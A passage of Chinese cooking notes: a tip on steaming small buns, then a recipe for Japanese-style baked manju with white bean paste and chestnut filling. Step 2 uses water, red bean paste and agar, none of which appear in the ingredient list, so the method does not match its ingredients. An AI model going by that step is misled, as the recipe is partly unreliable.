(书上写20g小馒头蒸10分钟. 若用微波炉. 底部放水. 蒸四分钟). 不要放在蒸笼内蒸\\\/闷过久. 馒头会变黄.日式馒头做法原料：炼乳90公克、糖粉45公克、蛋1个、苏打粉2.2公克、低筋面粉188公克、白豆沙250克、栗子250克做法：1.先将低筋面粉加苏打粉过筛加糖粉2.将水加红豆沙加洋菜煮开3.再加蛋混匀加炼乳充份混匀成一面团，杆成一份一份的面皮4.将白豆沙及栗子混合均匀5.将面皮包入馅20克，上面刷上蛋水焗约15~20分钟，上火180度、下火150度
